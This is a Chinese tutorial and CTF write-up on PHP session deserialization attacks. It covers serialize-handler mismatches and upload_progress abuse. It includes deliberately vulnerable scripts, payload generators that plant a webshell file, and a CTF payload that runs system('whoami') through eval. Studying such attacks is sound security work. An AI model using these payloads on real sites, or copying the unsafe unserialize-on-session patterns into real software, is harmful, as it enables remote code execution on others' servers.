php session序列化攻击面浅析
0x00 首先，session_start()是什么？
当会话自动开始或者通过 session_start() 手动开始的时候， PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据（即session文件）， PHP 会自动反序列化session文件的内容，并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据，则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID，则创建一个由32个字母组成的PHPSESSID，并返回set-cookie。
本文我们需要关注的问题就是上述文字中的加粗部分：php对session文件的序列化和反序列化。
0x01 初识php-session序列化机制
php有三种session存储处理引擎，参考lemon师傅的表：
下面根据代码，来看一下session的实际情况。
<?php
ini_set("session.serialize_handler", "php");
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['test'] = $_GET['a'];
根据不同的引擎来取消上面相应的注释。这里通过将参数a的值传入session，下面看一下session的实际存储内容
0x02 php_serialize引擎（反）序列化测试
首先在php.ini中将session.serialize_handler的值设为：php_serialize。
根据上面的表可以知道，这里的session文件中保存的内容就是session变量的反序列化形式。
比如simple.php:
<?php
session_start();
$_SESSION['a'] = '123';
访问这个页面后，后端生成了个session文件：
再将这个内容反序列化回来：
可见，后端将session存成一个索引数组的形式：
$a = [
'key1' => 'value1',
'key2' => 'value2',
...
];
serialize($a);
简单利用
下面进行一次简单的反序列化利用。
首先是one.php，用于处理首次请求，并将GET请求中的a参数赋值给$_SESSION['test']。
one.php
<?php
session_start();
$_SESSION['test'] = $_GET['a'];
这里用于接收我们有害的反序列化的值，然后将之存储到seesion文件中。
然后是two.php，用于从session文件中读取$_SESSION['test']，并将之反序列化。还有一个类，其__wakeup方法可以写文件。
two.php
<?php
class student{
var $name;
var $age;
var $mobile;
function __wakeup(){
file_put_contents($this->name, $this->age.$this->mobile);
}
}
session_start();
$a = $_SESSION['test'];
unserialize($a);
最后是ser.php，用于构造我们的payload：
ser.php
<?php
class student{
var $name;
var $age;
var $mobile;
function __wakeup(){
file_put_contents($this->name, $this->age.$this->mobile);
}
}
$a = new student();
$a->name = 'hallo.php';
$a->age = '<?php php';
$a->mobile = 'info(); ?>';
echo serialize($a);
这里构思一下这里攻击流程。首先是payload，可以看到ser.php这里直接被我硬编码了，根据strudent类的__wakeup()方法可以看到，name字段是文件名，age字段与mobile字段拼接后作为文件内容写入文件。
payload拿到之后先访问one.php，让后端把payload存到session文件中，然后再访问two.php，让后端从session文件中读取数据，并将之反序列化，反序列化的过程中触发__wakeup()魔术方法，导致getshell。
下面实操一下。
首先清理一下session文件
访问ser.php，获取payload
复制payload，作为参数a的值，访问one.php
这时再看一下session文件目录，发现已经生成了一个session文件。
下面再访问two.php，进行反序列化。
这时看一下目录，发现成功getshell
0x03 当使用不同的引擎来处理session文件时...
根据最开始的引擎表格可以发现，php引擎的存储格式是键名 | serialized_string，而php_serialize引擎的存储格式是serialized_string。这里如果程序使用两个引擎来分别处理的话就会出现问题。
比如首先以php_serialize的格式存储，从客户端接收参数并存入session变量。
four.php
然后使用php引擎读取session文件。
five.php
下面构思一下攻击思路。首先访问four.php，在我们传入的参数最开始加一个'|'，由于four.php是使用php_serialize引擎处理，因此只会把'|'当做一个正常的字符。然后访问five.php，由于其用的是php引擎，因此遇到'|'时会将之看做键名与值的分割符，从而造成了歧义，导致其在解析session文件时直接对'|'后的值进行反序列化处理。
实操一下。
首先生成payload：
在payload前加个'|'，作为a参数，访问four.php
这时看一下生成的session文件
框出来的部分就是我们的payload，php_serialize引擎将之作为test对应值。
然而对于php引擎来说，它看到的却是这样：
我们来访问一下five.php试试
成功触发了student类的__wakeup()方法，验证了上面的想法是正确的。
0x04 如果程序没有给$_SESSION变量赋值，怎么办？
php还存在一个upload_process机制，即自动在$_SESSION中创建一个键值对，值中刚好存在用户可控的部分。先看一下php文档：
这个功能用于在文件上传的过程中利用session实时返回上传的进度，类似于这种：
使用这个功能首先要有个前提：session.upload_progress.enabled设为On。在我测试过程中还有一点比较坑的就是它有个自动清理机制，就是程序运行完之后会自动把之前生成的$_SESSION中的键值对给清理掉，我的解决方法是在php.ini中设置如下：
session.upload_progress.cleanup = Off
这样我们就可以在程序完成后查看session文件，方便学习。
环境配置好了，这里整理一下思路。其实这里我们的攻击方法与上一部分基本相同，不过这里需要先上传文件，同时POST一个与session..upload_process.name的同名变量。后端会讲POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件，从中取出这个键。所以攻击点还是跟上一部分一模一样，程序使用了不同的session处理引擎。
下面看一道好玩的ctf题，来学习一下。
q3.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('q3.php'));
}
?>
很明显，这里的第三行使用了php-session处理引擎来处理session文件，而通过查看phpinfo发现默认的引擎是php-serialize。因此这里又存在了一个歧义。下面看一下payload：
<?php
class OowoO
{
public $mdzz="system(\"whoami\");";
}
$a = new OowoO();
echo serialize($a);
获取payload之后前面加上|，如下：
看下session文件：
以上的所有操作都是在后端在进入q3.php文件之前做的，下面计入q3.php之后首先在第三行使用了php-session引擎来处理session文件，然后在第四行使用session_start()之后反序列化session文件，由于不同引擎对与session文件的歧义，这里成功反序列化了我们传入的OowoO实例，导致在__destruct()中执行了我们的代码：
